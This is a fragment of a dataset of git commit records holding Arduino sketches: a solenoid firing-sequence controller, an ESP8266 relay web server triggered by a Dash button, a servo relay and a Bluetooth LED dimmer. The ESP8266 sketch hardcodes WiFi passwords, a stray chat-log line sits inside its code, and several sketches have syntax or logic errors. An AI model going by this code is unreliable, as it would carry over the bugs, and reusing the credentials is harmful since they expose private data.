Serial1.print(i+1);\n\/\/Query for end flag\n delay(80);\n Serial1.write(\"\\r\\nEnd(1-Yes 0-No): \");\n if (sequence[i][1] == 0xff)\n Serial1.write(\"Yes\");\n else\n Serial1.write(\"No \");\n switch (CheckForBinInput())\n {\n case 1:\n Serial1.write(0x8); \/\/backspace\n Serial1.write(0x8);\n Serial1.write(0x8);\n Serial1.write(\"Yes\");\n sequence[i][1] = 0xff; \/\/mark as end\n sequence[i][0] = 0; \/\/set time to 0\n sequence[i][2] = 0;\n edited = 1; \/\/mark as the sequence has been edited\n break;\n case 0:\n Serial1.write(0x8); \/\/backspace\n Serial1.write(0x8);\n Serial1.write(0x8);\n Serial1.write(\"No \");\n if (sequence[i][1] == 0xff)\n sequence[i][1] = 0xfe; \/\/mark as not end\n edited = 1; \/\/mark as the sequence has been edited\n break;\n case 2: \/\/pressed enter, leave data as-is, go on.\n break;\n case -1: \/\/pressed escape, bail out of update\n return;\n break;\n }\n\/\/Query for initial time delay\n if (sequence[i][1] != 0xff) \/\/only ask these if not already flagged as end.\n {\n Serial1.write(\"\\r\\nInitial delay: \");\n Serial1.print(sequence[i][0]);\n unsigned int AccumulatedValue = 0;\n int value = CheckForDigInput();\n while ((value != 0x10) && (value != -1))\n {\n if (AccumulatedValue > 6552) \/\/check if about to break bounds of unsigned int\n return; \/\/lame handling of error by bailing out.\n AccumulatedValue *= 10; \/\/add in the new digit\n AccumulatedValue += value;\n Serial1.write(\"\\rInitial delay: \"); \/\/reprint entire line\n Serial1.print(AccumulatedValue);\n value = CheckForDigInput(); \/\/get new button press\n if (value == 0x10) \/\/if enter, save it off before leaving\n {\n sequence[i][0] = AccumulatedValue;\n edited = 1; \/\/mark as the sequence has been edited\n }\n }\n if (value == -1) \/\/escape, bail out without any other updates.\n return;\n\n\/\/Query for channel\n Serial1.write(\"\\r\\nChannel: \");\n if (sequence[i][1] != 0xfe) \/\/only print the current channel if it is legal\n Serial1.print(sequence[i][1]);\n value = CheckForChInput();\n switch (value)\n {\n case 0:\n case 1:\n case 2:\n case 3:\n case 4:\n case 5:\n Serial1.write(\"\\rChannel: \"); \/\/overwrite line\n Serial1.print(value+1);\n sequence[i][1] = value;\n edited = 1; \/\/mark as the sequence has been edited\n break;\n case 0x10: \/\/pressed enter, leave data as-is ,go on.\n break;\n case -1: \/\/pressed escape, bail out of update\n return;\n break;\n }\n \n\/\/Query for on\/off\n Serial1.write(\"\\r\\nTurn(1-On 0-Off):\");\n if (sequence[i][2] == 0)\n Serial1.write(\"Off\");\n else\n Serial1.write(\"On \");\n switch (CheckForBinInput())\n {\n case 1:\n Serial1.write(0x8); \/\/backspace\n Serial1.write(0x8);\n Serial1.write(0x8);\n Serial1.write(\"On \");\n sequence[i][2] = 1;\n edited = 1; \/\/mark as the sequence has been edited\n break;\n case 0:\n Serial1.write(0x8); \/\/backspace\n Serial1.write(0x8);\n Serial1.write(0x8);\n Serial1.write(\"Off\");\n sequence[i][2] = 0;\n edited = 1; \/\/mark as the sequence has been edited\n break;\n case 2: \/\/pressed enter, leave data as-is, go on.\n break;\n case -1: \/\/pressed escape, bail out of update\n return;\n break;\n }\n }\n Serial1.write(\"\\r\\n\");\n delay(100);\n\n }\n Serial1.write(\"Max Steps Reached!\\r\\n\");\n Serial1.write(\"Press a key to exit\");\n while (Serial1.available() == 0)\n delay(1); \/\/wait here until get a key \n}\n\n\/\/this runs the sequence in memory\n\/\/If end of sequence flag is set, does not execute that step, or any afterwards.\n \/\/value 0 - number of ms to wait before doing this step\n \/\/value 1 - channel to activate. 0-5. ff-end of sequence\n \/\/value 2 - state to set channel. 0-off, 1-on\nvoid RunSequence()\n{\n byte length = sequencelength() - 1; \/\/determine in advance how many steps to run.\n for (byte i = 0; i < length; i++)\n {\n unsigned int delaytime = sequence[i][0];\n\/\/ delay(sequence[i][0]); \/\/start by waiting the initial delay. Will trust on values\n while (delaytime > 100) \/\/breakup the delay into 100ms or smaller chunks to check for button release.\n {\n delay(100);\n delaytime -= 100;\n if (digitalRead(LeftButton_Pin) != 0) \/\/confirm arming is still held\n return;\n }\n if (delaytime > 0)\n delay(delaytime);\n if (digitalRead(LeftButton_Pin) != 0) \/\/confirm arming is still held\n return;\n int pinnumber = 0xff;\n switch (sequence[i][1])\n {\n case 0:\n pinnumber = Output1_Pin;\n break;\n case 1:\n pinnumber = Output2_Pin;\n break;\n case 2:\n pinnumber = Output3_Pin;\n break;\n case 3:\n pinnumber = Output4_Pin;\n break;\n case 4:\n pinnumber = Output5_Pin;\n break;\n case 5:\n pinnumber = Output6_Pin;\n break;\n\/\/can add in other channels here, such as speaker beeps, or other future use hardware\/I2C\n default:\n pinnumber = 0xff;\n break;\n }\n if (pinnumber != 0xff) \/\/only if valid entry found in switch above\n {\n if (sequence[i][2] == 1)\n digitalWrite(pinnumber, 1);\n else\n digitalWrite(pinnumber, 0);\n }\n }\n}\n\n\nvoid loop() {\n \n\/\/Check and process action triggers\n\n if ((Input2Last == 1) && (digitalRead(Input2_Pin) == 1) && (Input2Last2 == 0))\n { \/\/input2 went active. Main firing button\n Button = Input2Last;\n if ((Armed == 1) && (Key == 1)) \/\/if key and arm, short pause, check again, then run sequence. \n {\n Serial1.write(\"\\r\\n\\n\");\n delay(50);\n Serial1.write(\" ** Fi\");\n Serial1.write(\"ring **\\n\\n\");\n delay(LaunchDelay); \/\/safety delay, wait and then check the three inputs again before going.\n Serial1.write(0x07); \/\/send bell character.\n if ((digitalRead(LeftButton_Pin) == 0) && (digitalRead(Input1_Pin) == 1) && (digitalRead(Input2_Pin) == 1))\n {\n RunSequence();\n digitalWrite(Output5_Pin, LOW);\n digitalWrite(Output6_Pin, LOW);\n delay(200);\n Serial1.write(\"\\rWaiting for release\");\n byte temp = 0;\n while ((digitalRead(Input2_Pin) == 0) || (temp = 0))\n {\n temp = digitalRead(Input2_Pin);\n delay(500);\n }\n }\n\n }\n FullUpdate();\n }\n if ((Input2Last == 0) && (digitalRead(Input2_Pin) == 0) && (Input2Last2 == 1))\n { \/\/input2 went inactive) . Main firing button\n Button = Input2Last;\n FullUpdate();\n }\n if ((Input1Last == 1) && (digitalRead(Input1_Pin) == 1) && (Input1Last2 == 0))\n { \/\/input1 went active. Keyswitch\n Key = Input1Last;\n TriggerLED = 1;\n digitalWrite(Output3_Pin, TriggerLED);\n FullUpdate();\n }\n if ((Input1Last == 0) && (digitalRead(Input1_Pin) == 0) && (Input1Last2 == 1))\n { \/\/input1 went inactive Keyswitch\n Key = Input1Last;\n TriggerLED = 0;\n digitalWrite(Output3_Pin, TriggerLED);\n FullUpdate();\n }\n if ((Input3Last == 1) && (digitalRead(Input3_Pin) == 1) && (Input3Last2 == 0))\n { \/\/input3 went active) . Extra input\n ExtraIn = Input3Last;\n FullUpdate();\n }\n if ((Input3Last == 0) && (digitalRead(Input3_Pin) == 0) && (Input3Last2 == 1))\n { \/\/input3 went inactive) . Extra input\n ExtraIn = Input3Last;\n FullUpdate();\n }\n if ((RightButtonLast == 0) && (digitalRead(RightButton_Pin) == 0) && (RightButtonLast2 == 1))\n { \/\/Right button pressed) \n if (testmode == 1)\n {\n digitalWrite(Output6_Pin, 1);\n FullUpdate();\n }\n else \/\/if arm, short pause, check again, then run sequence\n {\n if ((Armed == 1)) \/\/if arm, short pause, check again, then run sequence. \n {\n Serial1.write(\"\\r\\n\\n\");\n delay(50);\n Serial1.write(\" ** Fi\");\n Serial1.write(\"ring **\\n\\n\");\n delay(LaunchDelay); \/\/safety delay, wait and then check the two inputs again before going.\n Serial1.write(0x07); \/\/send bell character.\n if ((digitalRead(LeftButton_Pin) == 0) && (digitalRead(RightButton_Pin) == 0))\n {\n RunSequence();\n digitalWrite(Output5_Pin, LOW);\n digitalWrite(Output6_Pin, LOW);\n delay(200);\n Serial1.write(\"\\rWaiting for release\");\n byte temp = 0;\n while ((digitalRead(RightButton_Pin) == 0) || (temp = 0))\n {\n temp = digitalRead(RightButton_Pin);\n delay(500);\n }\n }\n }\n FullUpdate();\n }\n }\n if ((RightButtonLast == 1) && (digitalRead(RightButton_Pin) == 1) && (RightButtonLast2 == 0))\n { \/\/Right button released) \n if (testmode == 1)\n {\n digitalWrite(Output6_Pin, 0);\n FullUpdate();\n }\n }\n if ((LeftButtonLast == 0) && (digitalRead(LeftButton_Pin) == 0) && (LeftButtonLast2 == 1))\n { \/\/Left button pressed) \n if (testmode == 1)\n digitalWrite(Output5_Pin, 1);\n Armed = 1;\n RightButtonLEDState = 3;\n FullUpdate();\n }\n if ((LeftButtonLast == 1) && (digitalRead(LeftButton_Pin) == 1) && (LeftButtonLast2 == 0))\n { \/\/Left button released) \n digitalWrite(Output5_Pin, 0);\n if (testmode != 1)\n digitalWrite(Output6_Pin, 0); \/\/if not in test mode, shut off both when arming released\n Armed = 0;\n RightButtonLEDState = 0;\n FullUpdate();\n }\n int ReceivedByte = Serial1.read();\n switch (ReceivedByte)\n {\n case STATUSkey: \/\/toggle display type, and refresh screen\n if (DisplayType == 0)\n DisplayType = 1;\n else\n DisplayType = 0; \n ClearLCD();\n delay(50);\n FullUpdate(); \/\/(re)print the main status window\n break;\n case CHANGEkey:\n LeftButtonLEDState = 0;\n UpdateSequence();\n numsteps = sequencelength();\n LeftButtonLEDState = 1;\n FullUpdate();\n break;\n case Akey: \/\/toggle HSI1\/HSIa state\n if (HSI1 == 0)\n HSI1 = 1;\n else\n HSI1 = 0; \n digitalWrite(Output1_Pin, HSI1);\n FullUpdate();\n break;\n case Bkey: \/\/toggle HSI2\/HSIb state\n if (HSI2 == 0)\n HSI2 = 1;\n else\n HSI2 = 0; \n digitalWrite(Output2_Pin, HSI2);\n FullUpdate();\n break;\n case Ckey: \/\/toggle trigger button led\n if (TriggerLED == 0)\n TriggerLED = 1;\n else\n TriggerLED = 0; \n digitalWrite(Output3_Pin, TriggerLED);\n FullUpdate();\n break;\n case Dkey: \/\/toggle state of unused dar output\n if (ExtraOut == 0)\n ExtraOut = 1;\n else\n ExtraOut = 0; \n digitalWrite(Output4_Pin, ExtraOut);\n FullUpdate();\n break;\n case Ekey: \/\/Do nothing, reserved for output 5 if allowed\ntone(Speaker_Pin, 262, 250);\ndelay(250);\nnoTone(Speaker_Pin);\n\/\/ if (testmode == 1)\n\/\/ digitalWrite(Output5_Pin, !(digitalRead(Output5_Pin)));\n break;\n case Fkey: \/\/Do nothing, reserved for output 6 if allowed\ntone(Speaker_Pin, 262, 250);\ndelay(250);\nnoTone(Speaker_Pin);\n\/\/ if (testmode == 1)\n\/\/ digitalWrite(Output6_Pin, !(digitalRead(Output6_Pin)));\n break;\n case TESTMODEkey:\n \/\/TEST MODE - get password, then let left\/right buttons activate solenoids manually\n \/\/ ABCDEF toggle outputs\n \/\/ print in first 3 lines: \"**TEST MODE** press 'test mode' to exit\"\n \/\/ print the state of inputs\n if (testmode == 0)\n {\n Serial1.write(\"\\r\\n\\r\\n\\r\\n\");\n delay(80);\n if (EnterPasscode() == 1)\n {\n testmode = 1;\n RightButtonLEDState = 2;\n LeftButtonLEDState = 2;\n }\n }\n else\n {\n testmode = 0; \n digitalWrite(Output5_Pin, 0); \/\/leaving test mode, shut both solenoids off just in case\n digitalWrite(Output6_Pin, 0);\n RightButtonLEDState = 0;\n LeftButtonLEDState = 1;\n }\n ClearLCD();\n FullUpdate(); \/\/(re)print the main status window \n break;\n case BLANKkey:\n LockScreen();\n delay(100);\n FullUpdate();\n break;\n case INFOkey:\n LeftButtonLEDState = 0;\n printsequence(); \/\/print sequence, 3 lines at a time\n LeftButtonLEDState = 1;\n break;\n case CtlONEkey:\n LeftButtonLEDState = 0;\n loadmenu(1); \/\/control 1-6 - prompt and load saved sequences\n LeftButtonLEDState = 1;\n break;\n case CtlTWOkey:\n LeftButtonLEDState = 0;\n loadmenu(2); \/\/control 1-6 - prompt and load saved sequences\n LeftButtonLEDState = 1;\n break;\n case CtlTHREEkey:\n LeftButtonLEDState = 0;\n loadmenu(3); \/\/control 1-6 - prompt and load saved sequences\n LeftButtonLEDState = 1;\n break;\n case CtlFOURkey:\n LeftButtonLEDState = 0;\n loadmenu(4); \/\/control 1-6 - prompt and load saved sequences\n LeftButtonLEDState = 1;\n break;\n case CtlFIVEkey:\n LeftButtonLEDState = 0;\n loadmenu(5); \/\/control 1-6 - prompt and load saved sequences\n LeftButtonLEDState = 1;\n break;\n case CtlSIXkey:\n LeftButtonLEDState = 0;\n loadmenu(6); \/\/control 1-6 - prompt and load saved sequences\n LeftButtonLEDState = 1;\n break;\n case SftONEkey:\n LeftButtonLEDState = 0;\n savemenu(1); \/\/shift 1-6 - prompt and save sequence\n LeftButtonLEDState = 1;\n break;\n case SftTWOkey:\n LeftButtonLEDState = 0;\n savemenu(2); \/\/shift 1-6 - prompt and save sequence\n LeftButtonLEDState = 1;\n break;\n case SftTHREEkey:\n LeftButtonLEDState = 0;\n savemenu(3); \/\/shift 1-6 - prompt and save sequence\n LeftButtonLEDState = 1;\n break;\n case SftFOURkey:\n LeftButtonLEDState = 0;\n savemenu(4); \/\/shift 1-6 - prompt and save sequence\n LeftButtonLEDState = 1;\n break;\n case SftFIVEkey:\n LeftButtonLEDState = 0;\n savemenu(5); \/\/shift 1-6 - prompt and save sequence\n LeftButtonLEDState = 1;\n break;\n case SftSIXkey:\n LeftButtonLEDState = 0;\n savemenu(6); \/\/shift 1-6 - prompt and save sequence\n LeftButtonLEDState = 1;\n break;\n case SftF1key:\n LeftButtonLEDState = 0;\n Reset(); \/\/prompt for reset, \n LeftButtonLEDState = 1;\n break;\n case CtlBLANKkey:\n LeftButtonLEDState = 0;\n ChangePasscode();\n LeftButtonLEDState = 1;\n FullUpdate();\n break;\n case -1:\n break; \/\/nothing received, do nothing\n default:\n\/\/ Serial.print(ReceivedByte, HEX);\n\/\/ Serial.println(\" \");\n break; \/\/unknown char received, print for debug, do nothing\n }\n if (ReceivedByte != -1) \/\/if we got something and took action, clear off any remaining bytes to prevent accidental double presses etc. \n while (((Serial1.read()) != -1)); \n \n \/\/Update inputs for debounce and edge detection\n Input1Last2 = Input1Last; \n Input1Last = digitalRead(Input1_Pin);\n Input2Last2 = Input2Last; \n Input2Last = digitalRead(Input2_Pin);\n Input3Last2 = Input3Last; \n Input3Last = digitalRead(Input3_Pin);\n LeftButtonLast2 = LeftButtonLast;\n LeftButtonLast = digitalRead(LeftButton_Pin);\n RightButtonLast2 = RightButtonLast;\n RightButtonLast = digitalRead(RightButton_Pin);\n \n UpdateButtonLEDs(); \/\/update button LEDs.\n delay(1); \/\/Small loop delay to support debounce. This defines minimum debounce sample time.\n \n\/\/add pin change interrupt to left button so if it is realeased, turn off solenoid immediately.\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TimingController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1c94469f65114c23b3a981910d161487925b29bf","subject":"Create rotating-clock.ino","message":"Create rotating-clock.ino","repos":"TEAMarg\/rotating-clock","old_file":"rotating-clock.ino","new_file":"rotating-clock.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/rotating-clock.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fb829594390bae2740ea0cd8b18059ed976745b7","subject":"Create wemosdash.ino","message":"Create wemosdash.ino","repos":"yesnoj\/ESP8266-And-DashButton,yesnoj\/ESP8266-And-DashButton","old_file":"wemosdash.ino","new_file":"wemosdash.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n#include <WiFiUdp.h>\nextern \"C\" {\n#include <user_interface.h>\n}\n\n#define RELAY_Pin 5 \n\n\n\nString webpage = \"\";\n\/\/const char* ssid = \"Telecom-02031983\"; \n\/\/const char* password = \"euscimmoarimirarlestelle\";\nconst char* ssid = \"OnePlus3\"; \nconst char* password = \"ciaomamma\"; \nconst char* ipAddressString = \"192.168.1.107\";\nconst char* netMaskString = \"255.255.0.0\";\nconst char* gateWayString = \"192.168.1.1\";\nuint8_t dash1ButtonMAC [6] = {0xAC , 0x63, 0xBE, 0x78, 0x80, 0x26}; \nboolean dash1Found = false;\n\nWiFiUDP Udp;\nunsigned int localUdpPort = 67; \/\/ local port to listen on\nchar incomingPacket[255]; \/\/ buffer for incoming packets\nchar replyPacekt[] = \"Hi there! Got the message \ud83d\ude0a\"; \/\/ a reply string to send back\n\nESP8266WebServer server(666); \n\nvoid setup() {\n\tinitializePins();\n\tinitializePage();\n\t\/\/setStaticIP(); \/\/funziona,ma \u00e8 solo un test per verificarne il funzionamento\n\tconnectToWIFI();\n\tserver.on(\"\/Domotica\", initializePage);\n\tserver.on(\"\/LED\", webOnOff);\n\tserver.on(\"\/RELE\", webOnOff);\n\t\/\/webOnOff();\n\tserver.begin();\n}\n\nvoid loop(){\n\tserver.handleClient(); \/\/ Wait for a client to connect and when they do process their request\n\tif (dash1Found){\n\t\tdashOnOff();\n\t}\n}\n\nvoid initializePage(){\n\tupdateHTML(digitalRead(RELAY_Pin),checkClient());\n\tupdateHTML(digitalRead(LED_BUILTIN),checkClient());\n}\n\nvoid initializePins(){\n\tpinMode(LED_BUILTIN, OUTPUT);\n\tdigitalWrite(LED_BUILTIN, LOW);\n\tpinMode(RELAY_Pin, OUTPUT);\n\tdigitalWrite(RELAY_Pin, LOW);\n}\n\nString checkClient(){\n\tWiFiClient clientConnected = server.client();\n\tString ipClient = clientConnected.remoteIP().toString();\n\treturn ipClient;\n}\n\n\nvoid dashOnOff() {\n\tcheckClient();\n\tString requestUrl = server.uri(); \n\tSerial.println(\"Connected client: \" + checkClient());\n\tupdateHTML(digitalRead(RELAY_Pin),checkClient());\n\tupdateHTML(digitalRead(LED_BUILTIN),checkClient());\n\tif (dash1Found){\n\t\tpinMode(LED_BUILTIN, OUTPUT);\n\t\tif( digitalRead(LED_BUILTIN) == HIGH ){\n\t\t\tdigitalWrite(LED_BUILTIN, LOW);\n\t\t\tSerial.println(\"Switched LED ON\");\n\t\t}\n\t\telse {\n\t\t\tdigitalWrite(LED_BUILTIN, HIGH);\n\t\t\tSerial.println(\"Switched LED OFF\");\n\t\t}\n\t\tinitializePage();\n\t\tdash1Found = false;\n\t}\n}\n\n\n\nvoid webOnOff() {\n\tcheckClient();\n\tString requestUrl = server.uri(); \n\tSerial.println(\"Connected client: \" + checkClient());\n\tupdateHTML(digitalRead(RELAY_Pin),checkClient());\n\tupdateHTML(digitalRead(LED_BUILTIN),checkClient());\n\tif (requestUrl.indexOf(\"LED\") != -1){\n\t\tpinMode(LED_BUILTIN, OUTPUT);\n\t\tif( digitalRead(LED_BUILTIN) == HIGH ){\n\t\t\tdigitalWrite(LED_BUILTIN, LOW);\n\t\t\tSerial.println(\"Switched LED ON\");\n\t\t}\n\t\telse {\n\t\t\tdigitalWrite(LED_BUILTIN, HIGH);\n\t\t\tSerial.println(\"Switched LED OFF\");\n\t\t}\n\t}\n\tif (requestUrl.indexOf(\"RELE\") != -1){\n\t\tpinMode(RELAY_Pin, OUTPUT);\n\t\tif( digitalRead(RELAY_Pin) == HIGH ){\n\t\t\tdigitalWrite(RELAY_Pin, LOW);\n\t\t\tSerial.println(\"Switched RELE ON\");\n\t\t}\n\t\telse {\n\t\t\tdigitalWrite(RELAY_Pin, HIGH);\n\t\t\tSerial.println(\"Switched RELE OFF\");\n\t\t}\n\t}\n\tinitializePage();\n}\n\nvoid updateHTML(int status,String IP){\n\tpinMode(LED_BUILTIN, OUTPUT);\n\tString webpage = \"\";\n\twebpage += \"<div id=\\\"header\\\"><h1>MiniServer ESP8266<\/h1><\/div>\";\n\n\twebpage += \"<h2>Client connected :<\/h2>\";\n\twebpage += IP;\n\n\twebpage += \"<div id=\\\"section\\\"><h2>LED Status<\/h2>\";\n\twebpage += \"LED has been switched : \" + String((digitalRead(LED_BUILTIN) == HIGH)?\"ON\":\"OFF\");\n\twebpage += \"<br><br>\";\n\twebpage += \"<input type=\\\"button\\\" value=\\\"LED \" + String((digitalRead(LED_BUILTIN) == HIGH)?\"ON\":\"OFF\") +\" \\\" + onclick=\\\"window.location.href=\\'\/LED\\'\\\">\";\n\n\tJonsey, [20.02.17 15:44]\n\twebpage += \"<div id=\\\"section\\\"><h2>Rel\u00e8 Status<\/h2>\";\n\twebpage += \"Status : \" + String((digitalRead(RELAY_Pin) == HIGH)?\"ON\":\"OFF\");\n\twebpage += \"<br><br>\";\n\twebpage += \"<input type=\\\"button\\\" value=\\\"RELE \" + String((digitalRead(RELAY_Pin) == HIGH)?\"ON\":\"OFF\") +\" \\\" + onclick=\\\"window.location.href=\\'\/RELE\\'\\\">\";\n\t\n\twebpage += \"<\/div>\";\n\n\tserver.send(200, \"text\/html\", webpage);\n\tdelay(1000);\n}\n\nvoid ICACHE_FLASH_ATTR wifi_handle_event_cb(System_Event_t *evt) {\n\t\/\/printf(\"Free heap size: %d\\n\", system_get_free_heap_size());\n\tif (evt->event != EVENT_SOFTAPMODE_STACONNECTED) ;\n\telse{\n\t\t\/\/Serial.println(\"EVENT_SOFTAPMODE_STACONNECTED\");\n\t\tprintf(\"station:\" MACSTR \"join, AID = %d\\n\", MAC2STR (evt->event_info.sta_connected.mac),(evt->event_info.sta_connected.aid));\n\t} \n\tif (evt->event != EVENT_SOFTAPMODE_PROBEREQRECVED) ;\n\telse {\n\t\t\/\/Serial.println(\"EVENT_SOFTAPMODE_PROBEREQRECVED\");\n\t\tuint8_t* mac = evt->event_info.ap_probereqrecved.mac;\n\t\tif (memcmp(mac,dash1ButtonMAC,6) == 0) dash1Found = true;\n\t}\n}\n\n\nvoid connectToWIFI(){\n\tSerial.begin(115200);\n\n\tWiFi.mode(WIFI_AP_STA);\n\tWiFi.begin(ssid, password);\n\tdelay(100);\n\tSerial.print(\"\\nConnecting to \");\n\tSerial.print(ssid);\n\t\/\/ Wait for connection\n\tint i = 0;\n\twhile (WiFi.status() != WL_CONNECTED && i++ <= 10) {\/\/wait 10 seconds\n\t\tSerial.print(\".\");\n\t\tdelay(1000);\n\t}\n\tif(i == 11){\n\t\tSerial.print(\"\\nCould not connect to network...\");\n\t\twhile(1) delay(500);\n\t}\n\tSerial.print(\"\\nConnected to IP address: \");\n\tSerial.println(WiFi.localIP()); \/\/ Use the IP address printed here to connect to the server e.g. http:\/\/192.168.0.42\n\n\tWiFi.softAP(ssid, password);\n\twifi_set_event_handler_cb(wifi_handle_event_cb);\n}\n\nvoid setStaticIP(){\n\t\/\/uint32_t ipAddress = parseIPV4string(ipAddressString);\n\t\/\/uint32_t netMask = parseIPV4string(netMaskString);\n\t\/\/uint32_t gateWay = parseIPV4string(gateWayString);\n\tIPAddress ip(192,168,1,107);\n\tIPAddress netmask(255,255,255,0);\n\tIPAddress gateway(192,168,1,1);\n\tSerial.print(F(\"Setting static ip to : \"));\n\tSerial.println(ip);\n\tWiFi.config(ip, gateway, netmask);\n}\n\nString getStrMAC (uint8_t mac [6] ) {\n\tString res = String (mac [0 ], HEX) + \":\" + String (mac [1], HEX) + \":\" + String (mac [2], HEX) + \":\" +\n\tString (mac [3], HEX ) + \":\" + String (mac [4], HEX) + \":\" + String (mac [5], HEX);\n\treturn res;\n}\n\n\/\/IN CONFLITTO CON QUALCOSA...\nuint32_t parseIPV4string(const char* ipAddress) {\n\tchar ipbytes[4];\n\tsscanf(ipAddress, \"%uhh.%uhh.%uhh.%uhh\", &ipbytes[3], &ipbytes[2], &ipbytes[1], &ipbytes[0]);\n\treturn ipbytes[0] | ipbytes[1] \u00ab 8 | ipbytes[2] \u00ab 16 | ipbytes[3] \u00ab 24;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wemosdash.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e70a0b39e7cf7ffa6b8e1e0ea1e5827300354632","subject":"Create Spinal_Cord.ino","message":"Create Spinal_Cord.ino\n\nReceives servo positions from the brain and relays them to the motors.","repos":"alexmartinnnnnn\/Mr_Runner_Servo","old_file":"Spinal_Cord.ino","new_file":"Spinal_Cord.ino","new_contents":"#include <Servo.h>\n\n\/\/Servo SB, SF, HB, HF, EB, EF, KB, KF; \nServo myservo1, myservo2, myservo3, myservo4, myservo5, myservo6, myservo7, myservo8;\n\nString readString, servo1, servo2, servo3, servo4, servo5, servo6, servo7, servo8;\n\nvoid setup() {\n Serial.begin(115200);\n \n myservo1.attach(2);\n myservo2.attach(3);\n myservo3.attach(4);\n myservo4.attach(5);\n myservo5.attach(6);\n myservo6.attach(7);\n myservo7.attach(8);\n myservo8.attach(9);\n \n delay(3000);\n}\n\nvoid loop() {\n int i = 1;\n char c;\n \n while (Serial.available() && readString.length() < 33) {\n delayMicroseconds(150); \/\/delay to allow buffer to fill\n \/\/delay(1);\n if (Serial.available() > 0) {\n char c = Serial.read(); \/\/gets one byte from serial buffer\n readString += c; \/\/makes the string readString\n }\n }\n\n if (readString.length() > 0){\n Serial.println(\"The string is: \" + readString); \/\/see what was received\n Serial.println(readString.length()); \n \n servo1 = readString.substring(0, 4); \/\/get the first four characters\n servo2 = readString.substring(4, 8); \n servo3 = readString.substring(8, 12); \n servo4 = readString.substring(12, 16); \n servo5 = readString.substring(16, 20); \n servo6 = readString.substring(20, 24); \n servo7 = readString.substring(24, 28); \n servo8 = readString.substring(28, 32); \n \n \/* \n Serial.print(servo1); \/\/print to serial monitor to see parsed results\n Serial.print(servo2);\n Serial.print(servo3); \n Serial.print(servo4);\n Serial.print(servo5); \n Serial.print(servo6);\n Serial.print(servo7); \n Serial.println(servo8);\n *\/\n \n int n1 = servo1.toInt();\n int n2 = servo2.toInt();\n int n3 = servo3.toInt();\n int n4 = servo4.toInt();\n int n5 = servo5.toInt();\n int n6 = servo6.toInt();\n int n7 = servo7.toInt();\n int n8 = servo8.toInt();\n \n myservo1.writeMicroseconds(n3); \/\/set servo positions\n myservo2.writeMicroseconds(n7);\n myservo3.writeMicroseconds(n1); \n myservo4.writeMicroseconds(n5);\n myservo5.writeMicroseconds(n4); \n myservo6.writeMicroseconds(n8);\n myservo7.writeMicroseconds(n2); \n myservo8.writeMicroseconds(n6);\n \n readString=\"\"; \/\/clear strings\n servo1=\"\";\n servo2=\"\";\n servo3=\"\";\n servo4=\"\";\n servo5=\"\";\n servo6=\"\";\n servo7=\"\";\n servo8=\"\";\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Spinal_Cord.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a486105572dde6dabeb5bc2e8088381708555db1","subject":"_04_kidSerie_sketch_01_bluetooth_SlidingLeds.ino","message":"_04_kidSerie_sketch_01_bluetooth_SlidingLeds.ino\n\n_04_kidSerie_sketch_01_bluetooth_SlidingLeds.ino","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_04_kidSerie_sketch_01_bluetooth_SlidingLeds.ino","new_file":"_04_kidSerie_sketch_01_bluetooth_SlidingLeds.ino","new_contents":"\/*\n Project name:\n 04 #kidSerie - Arduino + HC06 + MIT App Inventor 2 + Sliding \n Leds (see details also in video below!)\n Flavour I -\n Hex File: _04_kidSerie_sketch_01_bluetooth_SlidingLeds.ino\n Revision History:\n 20161020:\n - board found on youtube https:\/\/youtu.be\/8CjL5JB6YfI\n Description:\n A Simple bluetooth app which demonstrates how to connect\n smartphone + HC06 + using arduino + MIT App Inventor 2.\n The application uses TWO sliders to change the LED's \n brightness.\n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n IC Chip: Bluetooth Datasheet - HC-06 https:\/\/goo.gl\/s9ZcNC\n Connections:\n See Official youtube channel vids:\n Based on: Control 5 leds using arduino and app inventor.\n https:\/\/youtu.be\/8CjL5JB6YfI\n Code by Mohamed Aly\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License v3 as published by the Free Software Foundation\n*\/\n#include <SoftwareSerial.h>\nSoftwareSerial bluetooth(2, 3) \/\/ Demand the lib SoftwareSerial \nint blueLed = 9; \/\/ to get arduino's port Rx & Tx free \n \/\/ to debug in Serial\nint orangeLed = 10; \/\/ Use port 9 and 10 for Blue and \n \/\/ Orange leds\nint valueBlue = 0; \/\/ Initialize values for set the \n \/\/ brightness \nint valueOrange = 0; \/\/ of each led, in this order: blue \n \/\/ than orange\nboolean debug = true;\nvoid setup() {\n Serial.begin(115200); \/\/ Begin Arduino Serial\n bluetooth.begin(115200); \/\/ in the same baudrate as bluetooth\n Serial.println(\"MIT App Inventor 2\"); \n \/\/ Print smartphone \n \/\/software version \n Serial.println(\"Release nb151 - Sep 13, 2016\"); \n \/\/ see: \n \/\/ http:\/\/ai2.appinventor.mit.edu\/\n pinMode(blueLed, OUTPUT); \/\/ Set LEDs' pins as output\n pinMode(orangeLed, OUTPUT);\n}\nvoid loop() {\n if (bluetooth.available()) {\n while (bluetooth.available()) \n \/\/ Confirm if bluetooth are \n \/\/ available\n {\n valueBlue = bluetooth.parseInt(); \n \/\/ While it is, parse \n \/\/ integer numbers.\n valueOrange = bluetooth.parseInt();\n if (debug) { \/\/ Debug it into arduino serial\n Serial.print(\"B: \"); \/\/ Disable it if you will: set \n \/\/ boolean debug to false\n Serial.println(valueBlue);\n Serial.print(\"O: \");\n Serial.println(valueOrange);\n }\n if (bluetooth.read() == '\\n') {\n analogWrite(blueLed, valueBlue); \n \/\/ Finally send it to \n \/\/ bluetooth port\n analogWrite(orangeLed, valueOrange);\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 